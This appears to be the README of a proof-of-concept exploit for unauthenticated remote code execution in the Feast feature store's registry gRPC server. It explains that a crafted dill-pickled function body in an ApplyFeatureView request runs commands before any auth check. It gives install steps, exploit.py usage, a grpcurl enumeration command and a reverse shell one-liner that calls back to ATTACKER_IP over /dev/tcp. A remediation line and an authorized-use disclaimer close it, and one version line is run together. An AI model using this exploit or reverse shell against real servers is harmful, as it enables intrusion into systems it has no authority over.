
Unauthenticated remote code execution in the Feast feature store's registry gRPC server.
The ApplyFeatureView RPC rebuilds an OnDemandFeatureView from the request proto.
Doing so base64-decodes spec.user_defined_function.body and passes it to
dill.loads() — before any authorization check. dill is a superset of
pickle, so an object whose __reduce__ returns (os.system, (cmd,)) executes an
arbitrary command the moment the server deserializes it. The default deployment ships
auth: no_auth, so a single unauthenticated gRPC request to the registry port is enough.
< 0.63.00.63.06570 (registry gRPC)The exploit reuses Feast's own generated gRPC protos, so install a vulnerable Feast on the attacker side:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project sets the project name (default feature_repo). Command output prints on
the registry host's stdout/journal, so use a reverse shell or write to a readable path to
observe results.
The registry has gRPC reflection enabled:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Upgrade to Feast 0.63.0+, enable an auth backend, and never expose the registry gRPC port to untrusted networks.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.